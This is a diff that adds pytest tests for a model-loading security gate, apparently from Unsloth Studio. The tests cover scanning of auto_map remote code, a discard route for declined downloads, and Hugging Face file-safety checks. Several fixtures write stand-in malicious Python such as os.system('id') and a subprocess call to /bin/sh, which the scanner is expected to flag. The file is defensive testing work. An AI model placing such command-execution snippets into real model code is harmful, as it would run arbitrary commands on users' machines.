+ def test_present_referenced_py_fetch_failure_still_fails_closed(self):
+ # The stale-ref relaxation must not weaken the present-file guarantee: a listed .py
+ # that cannot be fetched (transient) still fails closed, since transformers would run it.
+ def _dl(
+ repo,
+ fn,
+ token = None,
+ ):
+ import json
+ import tempfile
+
+ if fn == "config.json":
+ p = Path(tempfile.mkdtemp()) / fn
+ p.write_text(json.dumps({"auto_map": {"AutoModel": "modeling_x.M"}}))
+ return str(p)
+ if fn in REMOTE_CODE_CONFIG_FILES:
+ raise EntryNotFoundError(fn)
+ raise RuntimeError(
+ "transient fetch failure"
+ ) # modeling_x.py is present but unfetchable
+
+ with (
+ patch("huggingface_hub.hf_hub_download", side_effect = _dl),
+ patch("huggingface_hub.list_repo_files", return_value = ["config.json", "modeling_x.py"]),
+ ):
+ with pytest.raises(RemoteCodeUnscannable): # present-but-unfetchable -> fail closed
+ repo_remote_code_files("third/party")
+
+ def test_external_tokenizer_auto_map_list_is_scanned(self):
+ # transformers encodes a tokenizer auto_map as a [slow, fast] list, e.g.
+ # {"AutoTokenizer": ["owner/repo--tokenization_x.Slow", null]}; the external code
+ # in the list must be fetched + scanned, not skipped for being a list.
+ def _dl(
+ repo,
+ fn,
+ token = None,
+ ):
+ import json
+ import tempfile
+
+ p = Path(tempfile.mkdtemp()) / fn
+ if fn == "config.json":
+ p.write_text(json.dumps({"model_type": "llama"}))
+ elif fn == "tokenizer_config.json":
+ p.write_text(
+ json.dumps(
+ {
+ "auto_map": {
+ "AutoTokenizer": [
+ "evilorg/evilrepo--tokenization_evil.EvilTokenizer",
+ None,
+ ]
+ }
+ }
+ )
+ )
+ elif repo == "evilorg/evilrepo" and fn == "tokenization_evil.py":
+ p.write_text("import os\nos.system('id')\n")
+ elif fn in REMOTE_CODE_CONFIG_FILES:
+ raise EntryNotFoundError(fn) # victim repo ships no image/processor config
+ else:
+ raise RuntimeError(f"unexpected fetch {repo}:{fn}")
+ return str(p)
+
+ with (
+ patch("huggingface_hub.hf_hub_download", side_effect = _dl),
+ patch("huggingface_hub.list_repo_files", return_value = []),
+ ):
+ files = repo_remote_code_files("victim/model")
+ assert "evilorg/evilrepo--tokenization_evil.py" in files
+ assert not scan_remote_code_files(files).clean # the external tokenizer code is flagged
+
+ def test_unreachable_external_ref_is_unscannable(self):
+ # If the external repo's code can't be fetched, fail closed rather than fingerprint a clean own-repo snapshot.
+ def _dl(
+ repo,
+ fn,
+ token = None,
+ ):
+ import json
+ import tempfile
+
+ if fn == "config.json":
+ p = Path(tempfile.mkdtemp()) / "config.json"
+ p.write_text(
+ json.dumps({"auto_map": {"AutoModel": "evilorg/evilrepo--modeling_evil.M"}})
+ )
+ return str(p)
+ if fn in REMOTE_CODE_CONFIG_FILES:
+ raise EntryNotFoundError(fn) # victim repo ships no tokenizer/processor config
+ raise RuntimeError("download failed") # the external repo's .py is unreachable
+
+ with (
+ patch("huggingface_hub.hf_hub_download", side_effect = _dl),
+ patch("huggingface_hub.list_repo_files", return_value = []),
+ ):
+ with pytest.raises(RemoteCodeUnscannable):
+ repo_remote_code_files("victim/model")
+
+ def test_unrelated_local_py_is_still_scanned(self, tmp_path):
+ # Deliberate broad scan (not narrowed to the import closure): a .py the entry does
+ # not statically import is still scanned, since the entry can reach it via
+ # importlib / exec / absolute import. Closure-only scanning would be a bypass.
+ (tmp_path / "config.json").write_text('{"auto_map": {"AutoModel": "modeling_ok.M"}}')
+ (tmp_path / "modeling_ok.py").write_text("import torch\n") # benign entry, imports nothing
+ (tmp_path / "unrelated.py").write_text("import os\nos.system('id')\n") # never imported
+ files = repo_remote_code_files(str(tmp_path))
+ assert "unrelated.py" in files # scanned despite not being referenced by auto_map
+ assert not scan_remote_code_files(files).clean # its os.system is flagged
+
+ def test_external_mis_derived_dotted_ref_dropped_when_real_present(self):
+ # A subpackage ref "evilorg/evilrepo--pkg.modeling_evil.M" derives
+ # "pkg.modeling_evil.py", but the real file is "pkg/modeling_evil.py" (present).
+ # The mis-derived name must be dropped (not fetched and failed closed) while the
+ # present file is scanned, like the own-repo stale-ref guard.
+ def _dl(
+ repo,
+ fn,
+ token = None,
+ ):
+ import json
+ import tempfile
+
+ if fn == "config.json":
+ p = Path(tempfile.mkdtemp()) / "config.json"
+ p.write_text(
+ json.dumps({"auto_map": {"AutoModel": "evilorg/evilrepo--pkg.modeling_evil.M"}})
+ )
+ return str(p)
+ if fn in REMOTE_CODE_CONFIG_FILES:
+ raise EntryNotFoundError(fn)
+ if repo == "evilorg/evilrepo" and fn == "pkg/modeling_evil.py":
+ p = Path(tempfile.mkdtemp()) / "modeling_evil.py"
+ p.write_text("import os\nos.system('id')\n")
+ return str(p)
+ # The mis-derived dotted name must never be fetched.
+ raise RuntimeError(f"unexpected fetch {repo}:{fn}")
+
+ def _list(repo, token = None):
+ if repo == "evilorg/evilrepo":
+ return ["pkg/modeling_evil.py"]
+ return [] # victim/model ships no own .py
+
+ with (
+ patch("huggingface_hub.hf_hub_download", side_effect = _dl),
+ patch("huggingface_hub.list_repo_files", side_effect = _list),
+ ):
+ files = repo_remote_code_files("victim/model")
+ assert "evilorg/evilrepo--pkg/modeling_evil.py" in files # real file scanned
+ assert "evilorg/evilrepo--pkg.modeling_evil.py" not in files # mis-derived dropped
+ assert not scan_remote_code_files(files).clean # os.system flagged
+
+ def test_external_auto_map_repos_enumerated_for_cleanup(self, tmp_path):
+ # Decline cleanup needs the external auto_map repo ids so their code is not left
+ # cached; external_auto_map_repos lists the repos a config references.
+ from utils.security.remote_code_scan import external_auto_map_repos
+
+ (tmp_path / "config.json").write_text(
+ '{"auto_map": {"AutoModel": "evilorg/evilrepo--modeling_evil.M"}}'
+ )
+ (tmp_path / "tokenizer_config.json").write_text(
+ '{"auto_map": {"AutoTokenizer": ["other/repo--tokenization_x.Slow", null]}}'
+ )
+ repos = external_auto_map_repos(str(tmp_path))
+ assert repos == {"evilorg/evilrepo", "other/repo"}
+
+ # A config with only own-repo code yields no external repos.
+ (tmp_path / "plain").mkdir()
+ (tmp_path / "plain" / "config.json").write_text(
+ '{"auto_map": {"AutoModel": "modeling_local.M"}}'
+ )
+ assert external_auto_map_repos(str(tmp_path / "plain")) == set()
+
+ def test_gguf_repo_vestigial_auto_map_no_py_is_no_code(self):
+ # A GGUF repo whose config.json has a vestigial auto_map but ships no .py: the
+ # listing succeeds with nothing to run, so the result is an empty dict, not a
+ # raise (which would false-block). Real shape of a Nemotron-Ultra GGUF.
+ def _dl(
+ repo,
+ fn,
+ token = None,
+ ):
+ import json
+ import tempfile
+
+ p = Path(tempfile.mkdtemp()) / fn
+ if fn == "config.json":
+ p.write_text(
+ json.dumps({"auto_map": {"AutoModelForCausalLM": "modeling_decilm.DeciLM"}})
+ )
+ return str(p)
+ raise EntryNotFoundError(fn) # no other config, and modeling_decilm.py is absent
+
+ with (
+ patch("huggingface_hub.hf_hub_download", side_effect = _dl),
+ patch(
+ "huggingface_hub.list_repo_files",
+ return_value = ["config.json", "model-00001-of-00097.gguf"],
+ ),
+ ):
+ files = repo_remote_code_files("unsloth/Some-Model-GGUF")
+ assert files == {} # no executable code -> empty (no raise)
+
+ def test_tokenizer_only_auto_map_is_gated(self, tmp_path):
+ # config.json is plain but tokenizer_config.json declares auto_map: an
+ # AutoTokenizer(trust_remote_code=True) load runs that code, so scan + block it.
+ from utils.security import preflight_remote_code_consent
+
+ (tmp_path / "config.json").write_text('{"model_type": "llama"}')
+ (tmp_path / "tokenizer_config.json").write_text(
+ '{"auto_map": {"AutoTokenizer": ["tokenization_evil.EvilTokenizer", null]}}'
+ )
+ (tmp_path / "tokenization_evil.py").write_text(
+ "import subprocess\nsubprocess.Popen(['/bin/sh', '-c', 'id'])\n"
+ )
+ d = preflight_remote_code_consent(str(tmp_path), trusted_org = False)
+ assert d.has_remote_code is True
+ assert d.blocked is True
+ assert d.fingerprint
+
+ def test_config_file_list_covers_transformers_auto_map_sources(self):
+ # transformers reads auto_map only from a fixed set of config files (filename
+ # constants). Pin our scanned set to those exact constants from the installed
+ # transformers, so an upgrade that adds/renames an auto_map config trips here
+ # instead of silently leaving its code unscanned.
+ from transformers.tokenization_utils_base import TOKENIZER_CONFIG_FILE
+ from transformers.utils import (
+ CONFIG_NAME,
+ FEATURE_EXTRACTOR_NAME,
+ IMAGE_PROCESSOR_NAME,
+ PROCESSOR_NAME,
+ VIDEO_PROCESSOR_NAME,
+ )
+
+ expected = {
+ CONFIG_NAME, # AutoConfig / AutoModel
+ TOKENIZER_CONFIG_FILE, # AutoTokenizer
+ FEATURE_EXTRACTOR_NAME, # AutoFeatureExtractor (preprocessor_config.json)
+ IMAGE_PROCESSOR_NAME, # AutoImageProcessor (preprocessor_config.json)
+ PROCESSOR_NAME, # AutoProcessor
+ VIDEO_PROCESSOR_NAME, # AutoVideoProcessor
+ }
+ missing = expected - set(REMOTE_CODE_CONFIG_FILES)
+ assert not missing, (
+ "transformers reads auto_map from config files the consent gate does not "
+ f"scan: {sorted(missing)}. Add them to REMOTE_CODE_CONFIG_FILES."
+ )
+
+ def test_load_configs_returns_empty_list_when_all_404(self):
+ # A remote repo shipping none of the auto_map configs (every fetch 404s) returns
+ # [] ("no config-based auto_map"), not None ("unknown"): [] -> no-op, while None
+ # would force a scan and, for a code-less repo, a false unscannable block.
+ with patch("huggingface_hub.hf_hub_download", side_effect = EntryNotFoundError("404")):
+ configs = consent._load_remote_code_configs("some/plain-repo")
+ assert configs == []
+ # And a transient error on a config -> None (unknown -> caller scans).
+ with patch("huggingface_hub.hf_hub_download", side_effect = RuntimeError("blip")):
+ configs = consent._load_remote_code_configs("some/gated-repo")
+ assert configs is None
+
+ def test_gguf_repo_auto_map_is_ignored(self):
+ # A GGUF repo with a vestigial auto_map loads via llama.cpp, which never runs it,
+ # so _config_has_auto_map must return False and skip the consent flow.
+ def _dl(
+ repo_id = None,
+ filename = None,
+ token = None,
+ **kw,
+ ):
+ import json
+ import tempfile
+
+ if filename == "config.json":
+ p = Path(tempfile.mkdtemp()) / "config.json"
+ p.write_text(
+ json.dumps({"auto_map": {"AutoModelForCausalLM": "modeling_decilm.X"}})
+ )
+ return str(p)
+ raise EntryNotFoundError(filename)
+
+ with (
+ patch("huggingface_hub.hf_hub_download", side_effect = _dl),
+ patch(
+ "huggingface_hub.list_repo_files",
+ return_value = ["config.json", "model-00001-of-00097.gguf"],
+ ),
+ ):
+ assert consent._config_has_auto_map("unsloth/Some-Model-GGUF") is False
+
+ def test_direct_gguf_file_reference_has_no_auto_map(self):
+ # A direct .gguf file reference (repo id + filename, >=3 segments) is a GGUF load: no remote code, no Hub call.
+ with patch("huggingface_hub.hf_hub_download", side_effect = AssertionError("no Hub call")):
+ assert consent._config_has_auto_map("org/repo/model.gguf") is False
+
+ def test_remote_repo_named_gguf_is_not_suffix_skipped(self):
+ # A two-segment repo id whose name ends in ".gguf" is not a direct file reference:
+ # it can still ship safetensors + auto_map Python, so it must be scanned.
+ def _dl(
+ repo_id = None,
+ filename = None,
+ token = None,
+ **kw,
+ ):
+ import json
+ import tempfile
+
+ if filename == "config.json":
+ p = Path(tempfile.mkdtemp()) / "config.json"
+ p.write_text(json.dumps({"auto_map": {"AutoModel": "modeling_x.X"}}))
+ return str(p)
+ raise EntryNotFoundError(filename)
+
+ with (
+ patch("huggingface_hub.hf_hub_download", side_effect = _dl),
+ patch(
+ "huggingface_hub.list_repo_files",
+ return_value = ["config.json", "model.safetensors", "model.gguf", "modeling_x.py"],
+ ),
+ ):
+ # Ships safetensors -> not a GGUF-only repo -> the auto_map gates.
+ assert consent._config_has_auto_map("evil/model.gguf") is True
+
+ def test_mixed_gguf_and_safetensors_repo_is_still_gated(self):
+ # A repo with both .gguf and .safetensors is not treated as GGUF: the safetensors
+ # could load via transformers where auto_map runs, so the gate must still apply.
+ def _dl(
+ repo_id = None,
+ filename = None,
+ token = None,
+ **kw,
+ ):
+ import json
+ import tempfile
+
+ if filename == "config.json":
+ p = Path(tempfile.mkdtemp()) / "config.json"
+ p.write_text(json.dumps({"auto_map": {"AutoModelForCausalLM": "modeling_x.X"}}))
+ return str(p)
+ raise EntryNotFoundError(filename)
+
+ with (
+ patch("huggingface_hub.hf_hub_download", side_effect = _dl),
+ patch(
+ "huggingface_hub.list_repo_files",
+ return_value = ["config.json", "model.safetensors", "model.gguf"],
+ ),
+ ):
+ assert consent._config_has_auto_map("org/Mixed-Repo") is True
+
+ def test_mixed_gguf_and_bin_repo_is_still_gated(self):
+ # A repo with .gguf + a non-safetensors transformers weight (.bin/.pt/.pth/.h5/
+ # .msgpack/.onnx/.ckpt) is not GGUF-only: transformers can load it and run
+ # auto_map, so the gate still applies even with no .safetensors present.
+ def _dl(
+ repo_id = None,
+ filename = None,
+ token = None,
+ **kw,
+ ):
+ import json
+ import tempfile
+
+ if filename == "config.json":
+ p = Path(tempfile.mkdtemp()) / "config.json"
+ p.write_text(json.dumps({"auto_map": {"AutoModel": "modeling_x.X"}}))
+ return str(p)
+ raise EntryNotFoundError(filename)
+
+ for weight in (
+ "pytorch_model.bin",
+ "model.pt",
+ "model.pth",
+ "tf_model.h5",
+ "flax_model.msgpack",
+ "model.onnx",
+ "model.ckpt",
+ ):
+ with (
+ patch("huggingface_hub.hf_hub_download", side_effect = _dl),
+ patch(
+ "huggingface_hub.list_repo_files",
+ return_value = ["config.json", "modeling_x.py", weight, "model.gguf"],
+ ),
+ ):
+ assert consent._config_has_auto_map("org/Mixed-Bin-GGUF") is True, weight
+
+
+# POST /discard-remote-code: purge what the scan downloaded on decline, but never a
+# model the user already had (weights), a loaded model, or a local path.
+
+
+class TestDiscardRemoteCodeDownload:
+ @staticmethod
+ def _fake_cache(filenames):
+ files = [
+ SimpleNamespace(file_name = fn, file_path = f"/snap/{fn}", blob_path = f"/blob/{fn}")
+ for fn in filenames
+ ]
+ rev = SimpleNamespace(commit_hash = "deadbeef", files = files)
+ repo = SimpleNamespace(repo_type = "model", repo_id = "evil/repo", revisions = [rev])
+ return SimpleNamespace(repos = [repo], delete_revisions = MagicMock())
+
+ def _run(self, model_name, cache_scans):
+ import asyncio
+
+ import routes.models as M
+
+ not_loaded = SimpleNamespace(active_model_name = None)
+ with (
+ patch.object(M, "is_local_path", return_value = model_name.startswith("/")),
+ patch.object(M, "_all_hf_cache_scans", return_value = cache_scans),
+ patch.object(M, "get_inference_backend", return_value = not_loaded),
+ patch(
+ "routes.inference.get_llama_cpp_backend",
+ return_value = SimpleNamespace(is_loaded = False, model_identifier = None),
+ ),
+ ):
+ return asyncio.run(M.discard_remote_code_download(model_name, current_subject = "t"))
+
+ def test_purges_metadata_only_entry(self):
+ cache = self._fake_cache(["config.json", "tokenizer_config.json", "modeling_evil.py"])
+ res = self._run("evil/repo", [cache])
+ assert res["deleted"] is True
+ cache.delete_revisions.assert_called_once_with("deadbeef")
+
+ def test_refuses_when_weights_present(self):
+ cache = self._fake_cache(["config.json", "model.safetensors"])
+ res = self._run("evil/repo", [cache])
+ assert res == {"deleted": False, "reason": "has_weights"}
+ cache.delete_revisions.assert_not_called()
+
+ def test_refuses_when_gguf_present(self):
+ cache = self._fake_cache(["config.json", "model.Q4_K_M.gguf"])
+ res = self._run("evil/repo", [cache])
+ assert res["reason"] == "has_weights"
+
+ def test_refuses_local_path(self):
+ res = self._run("/home/me/model", [])
+ assert res == {"deleted": False, "reason": "local"}
+
+ def test_noop_when_not_cached(self):
+ res = self._run("evil/repo", [])
+ assert res == {"deleted": False, "reason": "not_cached"}
+
+ def test_route_source_reports_created_by_scan(self):
+ src = (_BACKEND / "routes/models.py").read_text()
+ assert "created_by_scan" in src
+ assert "discard-remote-code" in src
diff --git a/studio/backend/tests/test_file_security.py b/studio/backend/tests/test_file_security.py
new file mode 100644
index 0000000000..b4c8f5d242
--- /dev/null
+++ b/studio/backend/tests/test_file_security.py
@@ -0,0 +1,534 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Tests for the malware / unsafe-file gate (utils.security.file_security).
+
+The gate reads HF's security scan (model_info securityStatus) metadata-only and never
+downloads flagged files; only the Hub call is stubbed. Policy: block a non-"safe" level
+(unknown levels fail closed), fail open when the scan is unavailable, skip local paths
+only, no first-party exemption. The block is scoped to the load-path RCE vector (a
+root-level code-executing file), so flagged safetensors and subdir pickles do not block.
+"""
+
+from types import SimpleNamespace
+from unittest.mock import patch
+
+import pytest
+
+from utils.security import evaluate_file_security
+
+
+def _patch_status(status):
+ """Patch huggingface_hub.model_info to return one fixed security_repo_status."""
+
+ def _mi(*_args, **_kwargs):
+ return SimpleNamespace(security_repo_status = status)
+
+ return patch("huggingface_hub.model_info", side_effect = _mi)
+
+
+def _patch_raises(exc = RuntimeError("offline")):
+ return patch("huggingface_hub.model_info", side_effect = exc)
+
+
+def _patch_no_index():
+ """Make the weight-index lookup find no index files (definitive: nothing sharded)."""
+ from huggingface_hub.utils import EntryNotFoundError
+
+ def _dl(
+ repo_id = None,
+ filename = None,
+ token = None,
+ **kw,
+ ):
+ raise EntryNotFoundError(filename or "")
+
+ return patch("huggingface_hub.hf_hub_download", side_effect = _dl)
+
+
+def _patch_index(weight_map, index_filename = "pytorch_model.bin.index.json"):
+ """Serve a root weight index mapping tensor names -> shard paths; others 404."""
+ import json
+ import tempfile
+ from pathlib import Path
+
+ from huggingface_hub.utils import EntryNotFoundError
+
+ def _dl(
+ repo_id = None,
+ filename = None,
+ token = None,
+ **kw,
+ ):
+ if filename == index_filename:
+ p = Path(tempfile.mkdtemp()) / filename
+ p.write_text(json.dumps({"weight_map": weight_map}))
+ return str(p)
+ raise EntryNotFoundError(filename or "")
+
+ return patch("huggingface_hub.hf_hub_download", side_effect = _dl)
+
+
+def _patch_index_unreadable():
+ """Make every index fetch fail transiently (inconclusive lookup -> fail closed)."""
+
+ def _dl(
+ repo_id = None,
+ filename = None,
+ token = None,
+ **kw,
+ ):
+ raise RuntimeError("transient network error")
+
+ return patch("huggingface_hub.hf_hub_download", side_effect = _dl)
+
+
+def _patch_index_mixed(weight_map, readable_index, failing_index):
+ """Serve one index cleanly while another fails transiently: the flagged shard is
+ listed only by the index we could not read, so a naive "read any index?" check breaks."""
+ import json
+ import tempfile
+ from pathlib import Path
+
+ from huggingface_hub.utils import EntryNotFoundError
+
+ def _dl(
+ repo_id = None,
+ filename = None,
+ token = None,
+ **kw,
+ ):
+ if filename == readable_index:
+ p = Path(tempfile.mkdtemp()) / filename
+ p.write_text(json.dumps({"weight_map": weight_map}))
+ return str(p)
+ if filename == failing_index:
+ raise RuntimeError("transient network error")
+ raise EntryNotFoundError(filename or "")
+
+ return patch("huggingface_hub.hf_hub_download", side_effect = _dl)
+
+
+@pytest.mark.parametrize("level", ["unsafe", "suspicious", "malicious"])
+def test_blocks_each_blocking_level(level):
+ status = {"scansDone": True, "filesWithIssues": [{"path": "pytorch_model.bin", "level": level}]}
+ with _patch_status(status):
+ d = evaluate_file_security("evil/repo")
+ assert d.blocked is True
+ assert d.unsafe_files == [{"path": "pytorch_model.bin", "level": level}]
+ assert d.response_payload()["security_blocked"] is True
+
+
+def test_ignores_safe_only():
+ status = {
+ "scansDone": True,
+ "filesWithIssues": [{"path": "model.safetensors", "level": "safe"}],
+ }
+ with _patch_status(status):
+ d = evaluate_file_security("good/repo")
+ assert d.blocked is False
+ assert d.unsafe_files == []
+
+
+def test_blocks_unsafe_even_when_scans_not_done():
+ # scansDone is often False for clean repos; an already-flagged file must still block.
+ status = {"scansDone": False, "filesWithIssues": [{"path": "x.pkl", "level": "unsafe"}]}
+ with _patch_status(status):
+ d = evaluate_file_security("evil/repo")
+ assert d.blocked is True
+
+
+def test_fail_open_when_scan_unavailable():
+ # model_info returns no security_repo_status -> unknown -> allow.
+ with _patch_status(None):
+ d = evaluate_file_security("unknown/repo")
+ assert d.blocked is False
+
+
+def test_fail_open_on_exception_offline():
+ with _patch_raises():
+ d = evaluate_file_security("offline/repo")
+ assert d.blocked is False
+
+
+def test_fail_open_scans_done_no_issues():
+ with _patch_status({"scansDone": True, "filesWithIssues": []}):
+ d = evaluate_file_security("clean/repo")
+ assert d.blocked is False
+
+
+def test_skips_local_path():
+ # A local path has no Hub scan; must not even call model_info.
+ with patch("huggingface_hub.model_info", side_effect = AssertionError("should not be called")):
+ d = evaluate_file_security("/tmp/some/local/model")
+ assert d.blocked is False
+ assert "local" in d.reason
+
+
+def test_remote_gguf_named_repo_is_still_scanned():
+ # Only LOCAL paths skip the Hub scan, so a remote .gguf repo is still scanned and a
+ # poisoned pickle smuggled into it is blocked.
+ status = {
+ "scansDone": True,
+ "filesWithIssues": [{"path": "pytorch_model.bin", "level": "unsafe"}],
+ }
+ with _patch_status(status):
+ d = evaluate_file_security("evil/model.gguf")
+ assert d.blocked is True
+ assert d.unsafe_files
+
+
+def test_skips_local_gguf_file():
+ # A local .gguf path is caught by is_local_path -- no Hub call.
+ with patch("huggingface_hub.model_info", side_effect = AssertionError("should not be called")):
+ d = evaluate_file_security("/tmp/models/model.gguf")
+ assert d.blocked is False
+ assert "local" in d.reason
+
+
+def test_no_first_party_exemption():
+ # A poisoned pickle in a first-party repo still blocks (compromised-repo defense).
+ status = {
+ "scansDone": True,
+ "filesWithIssues": [{"path": "pytorch_model.bin", "level": "unsafe"}],
+ }
+ with _patch_status(status):
+ d = evaluate_file_security("unsloth/some-model")
+ assert d.blocked is True
+
+
+def test_malformed_entries_are_ignored():
+ status = {
+ "scansDone": True,
+ "filesWithIssues": ["not-a-dict", {"path": "ok.pkl", "level": "unsafe"}],
+ }
+ with _patch_status(status):
+ d = evaluate_file_security("evil/repo")
+ assert d.blocked is True
+ assert d.unsafe_files == [{"path": "ok.pkl", "level": "unsafe"}]
+
+
+def test_response_payload_shape():
+ status = {"scansDone": True, "filesWithIssues": [{"path": "a.pkl", "level": "malicious"}]}
+ with _patch_status(status):
+ payload = evaluate_file_security("evil/repo").response_payload()
+ assert set(payload) == {"unsafe_files", "security_blocked", "reason"}
+ assert payload["security_blocked"] is True
+ assert payload["unsafe_files"] == [{"path": "a.pkl", "level": "malicious"}]
+
+
+# ── Load-path RCE scoping: block only files a load would actually deserialize ──
+
+
+def test_flagged_safetensors_does_not_block():
+ # safetensors is tensor-only and cannot execute code, so a flag on one (often
+ # picklescan tripping on a sibling pickle) is not an RCE vector and must not block.
+ status = {
+ "scansDone": False,
+ "filesWithIssues": [{"path": "model-00001-of-00004.safetensors", "level": "unsafe"}],
+ }
+ with _patch_status(status):
+ d = evaluate_file_security("nvidia/some-model")
+ assert d.blocked is False
+ assert d.unsafe_files == []
+
+
+def test_flagged_subdirectory_pickle_does_not_block():
+ # from_pretrained reads only root weights; a flagged subdir pickle no root index
+ # references (e.g. a NeMo checkpoint) is never loaded, so it must not block.
+ status = {
+ "scansDone": False,
+ "filesWithIssues": [
+ {"path": "nemo/weights/common.pt", "level": "unsafe"},
+ {"path": "nemo/weights/__0_0.distcp", "level": "unsafe"},
+ ],
+ }
+ with _patch_status(status), _patch_no_index():
+ d = evaluate_file_security("nvidia/some-model")
+ assert d.blocked is False
+ assert d.unsafe_files == []
+
+
+def test_nemotron_h_shaped_status_loads():
+ # Real Nemotron-H-8B-Base-8K shape: flagged root safetensors + unreferenced nemo/
+ # pickles. None is a load-path vector, so it must load.
+ status = {
+ "scansDone": False,
+ "filesWithIssues": [
+ {"path": "nemo/weights/.metadata", "level": "unsafe"},
+ {"path": "nemo/weights/__0_0.distcp", "level": "unsafe"},
+ {"path": "nemo/weights/common.pt", "level": "unsafe"},
+ {"path": "model-00001-of-00004.safetensors", "level": "unsafe"},
+ {"path": "model-00002-of-00004.safetensors", "level": "unsafe"},
+ ],
+ }
+ with _patch_status(status), _patch_no_index():
+ d = evaluate_file_security("nvidia/Nemotron-H-8B-Base-8K")
+ assert d.blocked is False
+ assert d.unsafe_files == []
+
+
+def test_indexed_subdir_shard_blocks():
+ # A flagged subdir shard that a root index references IS deserialized, so it blocks.
+ status = {
+ "scansDone": False,
+ "filesWithIssues": [
+ {"path": "shards/pytorch_model-00001-of-00002.bin", "level": "unsafe"},
+ ],
+ }
+ weight_map = {
+ "layer.0.weight": "shards/pytorch_model-00001-of-00002.bin",
+ "layer.1.weight": "shards/pytorch_model-00002-of-00002.bin",
+ }
+ with _patch_status(status), _patch_index(weight_map):
+ d = evaluate_file_security("evil/sharded")
+ assert d.blocked is True
+ assert d.unsafe_files == [
+ {"path": "shards/pytorch_model-00001-of-00002.bin", "level": "unsafe"}
+ ]
+
+
+def test_unindexed_subdir_pickle_does_not_block_when_index_present():
+ # An index exists but does not list the flagged subdir pickle -> not loaded -> no block.
+ status = {
+ "scansDone": False,
+ "filesWithIssues": [{"path": "extras/notes.bin", "level": "unsafe"}],
+ }
+ weight_map = {"layer.0.weight": "pytorch_model-00001-of-00001.bin"}
+ with _patch_status(status), _patch_index(weight_map):
+ d = evaluate_file_security("org/has-index")
+ assert d.blocked is False
+ assert d.unsafe_files == []
+
+
+def test_inconclusive_index_lookup_blocks_subdir_pickle():
+ # An unreadable index can't rule out that the flagged subdir pickle is a shard -> block.
+ status = {
+ "scansDone": False,
+ "filesWithIssues": [{"path": "weights/model_part.bin", "level": "unsafe"}],
+ }
+ with _patch_status(status), _patch_index_unreadable():
+ d = evaluate_file_security("org/transient")
+ assert d.blocked is True
+ assert d.unsafe_files == [{"path": "weights/model_part.bin", "level": "unsafe"}]
+
+
+def test_partial_index_read_with_transient_failure_blocks_subdir_pickle():
+ # The bin index (which would list the flagged shard) fails transiently; a partial
+ # path set is not definitive, so fail closed.
+ status = {
+ "scansDone": False,
+ "filesWithIssues": [
+ {"path": "shards/pytorch_model-00001-of-00002.bin", "level": "unsafe"},
+ ],
+ }
+ # The readable index lists only benign shards; the flagged .bin is in the unread index.
+ safetensors_map = {"layer.0.weight": "model-00001-of-00001.safetensors"}
+ with (
+ _patch_status(status),
+ _patch_index_mixed(
+ safetensors_map,
+ readable_index = "model.safetensors.index.json",
+ failing_index = "pytorch_model.bin.index.json",
+ ),
+ ):
+ d = evaluate_file_security("evil/mixed-index")
+ assert d.blocked is True
+ assert d.unsafe_files == [
+ {"path": "shards/pytorch_model-00001-of-00002.bin", "level": "unsafe"}
+ ]
+
+
+def test_root_pickle_alongside_safetensors_still_blocks():
+ # A real root pickle blocks even alongside a flagged safetensors; it is a load-path vector.
+ status = {
+ "scansDone": False,
+ "filesWithIssues": [
+ {"path": "model.safetensors", "level": "unsafe"},
+ {"path": "pytorch_model.bin", "level": "unsafe"},
+ ],
+ }
+ with _patch_status(status):
+ d = evaluate_file_security("evil/repo")
+ assert d.blocked is True
+ assert d.unsafe_files == [{"path": "pytorch_model.bin", "level": "unsafe"}]
+
+
+def test_eicar_shaped_root_files_block():
+ # The canonical eicar repo ships its dangerous files at the ROOT, so it stays blocked.
+ status = {
+ "scansDone": True,
+ "filesWithIssues": [
+ {"path": "model_broken_X.pkl", "level": "unsafe"},
+ {"path": "danger.dat", "level": "unsafe"},
+ {"path": "eicar_test_file", "level": "unsafe"},
+ ],
+ }
+ with _patch_status(status):
+ d = evaluate_file_security("mcpotato/42-eicar-street")
+ assert d.blocked is True
+ assert len(d.unsafe_files) == 3
+
+
+def test_unknown_future_level_fails_closed():
+ # Hub schema drift: an unrecognized non-"safe" level (e.g. "infected") on a root pickle must block.
+ status = {"scansDone": True, "filesWithIssues": [{"path": "weights.bin", "level": "infected"}]}
+ with _patch_status(status):
+ d = evaluate_file_security("evil/repo")
+ assert d.blocked is True
+ assert d.unsafe_files == [{"path": "weights.bin", "level": "infected"}]
+
+
+def test_pending_or_scanning_level_does_not_block():
+ # A not-yet-finished per-file scan state must not false-block.
+ for lvl in ("pending", "scanning", "queued", "unscanned", "error"):
+ status = {
+ "scansDone": False,
+ "filesWithIssues": [{"path": "pytorch_model.bin", "level": lvl}],
+ }
+ with _patch_status(status):
+ d = evaluate_file_security("some/repo")
+ assert d.blocked is False, lvl
+
+
+# -- Subdir load roots: Spark-TTS / BiCodec load from_pretrained(